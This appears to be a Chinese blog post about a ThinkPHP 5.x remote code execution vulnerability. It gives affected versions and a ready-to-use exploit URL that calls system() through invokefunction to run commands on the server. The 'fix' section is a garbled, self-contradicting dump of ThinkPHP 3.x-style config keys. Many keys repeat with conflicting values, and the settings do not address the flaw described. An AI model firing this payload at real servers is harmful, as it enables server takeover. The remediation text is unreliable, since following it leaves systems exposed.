漏洞描述：
ThinkPHP是一款快速、简单的PHP开发框架，该框架在处理某些特定情况下的输入时存在代码执行漏洞。攻击者可以通过构造恶意的输入数据，利用该漏洞执行任意代码，从而控制服务器。
漏洞影响：
ThinkPHP 5.0.x - 5.0.18 版本
ThinkPHP 5.1.x - 5.1.0-beta.5 版本
漏洞利用：
攻击者可以通过在URL中添加参数，或者在POST请求中添加参数，来触发该漏洞。下面是一个简单的例子：
http://example.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
漏洞修复：
1.升级到最新版本的ThinkPHP
2.禁用动态调用方法
在config.php文件中添加以下配置：
'APP_DEBUG' => false,
'APP_USE_NAMESPACE' => true,
'DEFAULT_FILTER' => 'htmlspecialchars',
'DEFAULT_CONTROLLER' => 'index',
'URL_CASE_INSENSITIVE' => true,
'URL_MODEL' => '2',
'URL_PATHINFO_DEPR' => '/',
'URL_ROUTER_ON' => true,
'URL_ROUTE_RULES' => array(
),
'DEFAULT_MODULE' => 'index',
'URL_HTML_SUFFIX' => '.html',
'APP_AUTOLOAD_PATH' => '@.TagLib',
'APP_AUTOLOAD_LAYER' => 'Controller,Model',
'APP_AUTOLOAD_PATH' => '@.TagLib',
'APP_AUTOLOAD_LAYER' => 'Controller,Model',
'DEFAULT_FILTER' => 'htmlspecialchars',
'DEFAULT_TIMEZONE' => 'Asia/Shanghai',
'TMPL_ACTION_ERROR' => APP_PATH . 'Tpl/error.tpl',
'TMPL_ACTION_SUCCESS' => APP_PATH . 'Tpl/success.tpl',
'DEFAULT_AJAX_RETURN' => 'JSON',
'TOKEN_ON' => true,
'TOKEN_NAME' => '__hash__',
'TOKEN_TYPE' => 'md5',
'TOKEN_RESET' => true,
'VAR_FILTERS' => 'htmlspecialchars',
'SESSION_AUTO_START' => true,
'DEFAULT_LANG' => 'zh-cn',
'APP_GROUP_LIST' => 'Home,Admin',
'APP_GROUP_MODE' => 1,
'APP_GROUP_PATH' => 'Modules',
'AUTOLOAD_PATH' => 'Think.Util',
'APP_TAGS_ON' => true,
'APP_SUB_DOMAIN_DEPLOY' => false,
'APP_SUB_DOMAIN_RULES' => array(),
'OUTPUT_ENCODE' => false,
'COOKIE_EXPIRE' => 0,
'COOKIE_DOMAIN' => '',
'COOKIE_PATH' => '/',
'COOKIE_PREFIX' => '',
'URL_PARAMS_BIND' => true,
'URL_404_REDIRECT' => '',
'DB_TYPE' => 'mysql',
'DB_HOST' => '127.0.0.1',
'DB_NAME' => 'thinkphp',
'DB_USER' => 'root',
'DB_PWD' => '',
'DB_PORT' => '3306',
'DB_PREFIX' => 'tp_',
'DB_FIELDTYPE_CHECK' => false,
'DB_FIELDS_CACHE' => true,
'DB_CHARSET' => 'utf8',
'DB_DEBUG' => true,
'DB_LITE' => false,
'DB_DEPLOY_TYPE' => 0,
'DB_RW_SEPARATE' => false,
'DB_MASTER_NUM' => 1,
'DB_SLAVE_NO' => '',
'DB_SQL_BUILD_CACHE' => false,
'DB_SQL_BUILD_LENGTH' => 20,
'TIME_ZONE' => 'PRC',
'SHOW_PAGE_TRACE' => false,
'LOG_RECORD' => true,
'LOG_TYPE' => 'File',
'LOG_LEVEL' => 'EMERG,ALERT,CRIT,ERR',
'LOG_FILE_SIZE' => 2097152,
'LOG_EXCEPTION_RECORD' => false,
'LOG_AUTO_RECORD' => true,
'SESSION_OPTIONS' => array(),
'SESSION_TYPE' => '',
'SESSION_PREFIX' => 'think',
'SESSION_EXPIRE' => 3600,
'SESSION_TABLE' => '',
'SESSION_COOKIE_NAME' => '',
'SESSION_AUTO_START' => true,
'SESSION_GC_DIVISOR' => 10000,
'SESSION_GC_MAXLIFETIME' => 1440,
'SESSION_DOMAIN' => '',
'SESSION_PATH' => '/',
'SESSION_SECURE' => false,
'SESSION_HTTPONLY' => true,
'VAR_SESSION_ID' => 'session_id',
'CACHE_TYPE' => 'File',
'CACHE_EXPIRE' => 0,
'CACHE_PREFIX' => '',
'CACHE_PATH' => TEMP_PATH,
'CACHE_FILE_SUFFIX' => '.php',
'CACHE_SERIALIZE' => true,
'CACHE_CHECK' => false,
'TMPL_CACHE_ON' => true,
'TMPL_CACHE_PREFIX' => '',
'TMPL_CACHE_TIME' => 0,
'TMPL_CACHE_PATH' => CACHE_PATH,
'TMPL_CACHE_FILE_SUFFIX' => '.php',
'TMPL_CACHE_FILE_EXT' => '.php',
'TMPL_CACHE_CHECK' => true,
'TMPL_EXCEPTION_FILE' => THINK_PATH . 'Tpl/think_exception.tpl',
'TMPL_ACTION_ERROR' => APP_PATH . 'Tpl/error.tpl',
'TMPL_ACTION_SUCCESS' => APP_PATH . 'Tpl/success.tpl',
'TMPL_DETECT_THEME' => false,
'TMPL_TEMPLATE_SUFFIX' => '.html',
'TMPL_ENGINE_TYPE' => 'Think',
'TMPL_CACHFILE_SUFFIX' => '.php',
'TMPL_DENY_FUNC_LIST' => 'echo,exit',
'TMPL_DENY_PHP' => false,
'TMPL_L_DELIM' => '{',
'TMPL_R_DELIM' => '}',
'TMPL_VAR_IDENTIFY' => 'array',
'TMPL_STRIP_SPACE' => true,
'TMPL_CACHE_ON' => false,
'TMPL_LAYOUT_ITEM' => '{__CONTENT__}',
'TMPL_CONTENT_TYPE' => 'text/html',
'TMPL_ACTION_ERROR' => APP_PATH . 'Tpl/error.tpl',
'TMPL_ACTION_SUCCESS' => APP_PATH . 'Tpl/success.tpl',
'LANG_SWITCH_ON' => false,
'LANG_AUTO_DETECT' => true,
'LANG_LIST' => 'zh-cn',
'VAR_LANGUAGE' => 'l',
'LANG_AUTO_REDIRECT' => false,
'TEMPLATE_CHARSET' => 'utf-8',
'COOKIE_HTTPONLY' => '',
'SECURE_FILTER' => '',
'CRYPT_TYPE' => 'Think',
'AUTH_KEY' => 'AuthKey',
'SECURITY_KEY' => 'SecurityKey',
'TOKEN_ON' => false,
'TOKEN_NAME' => '__hash__',
'TOKEN_TYPE' => 'md5',
'TOKEN_RESET' => true,
'TOKEN_CRYPT' => false,
'VAR_FILTERS' => '',
'DEFAULT_MODULE' => 'Home',
'DEFAULT_ACTION' => 'index',
'DEFAULT_THEME' => '',
'THEME_LIST' => '',
'THEME_DEFAULT' => '',
'THEME_ON' => false,
'THEME_FILE_SUFFIX' => '.html',
'THEME_TEMPLATE_SUFFIX' => '.html',
'THEME_TEMPLATE_PREFIX' => '',
'THEME_TEMPLATE_SUFFIX' => '.html',
'THEME_TEMPLATE_SEPARATOR' => '_',
1668
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
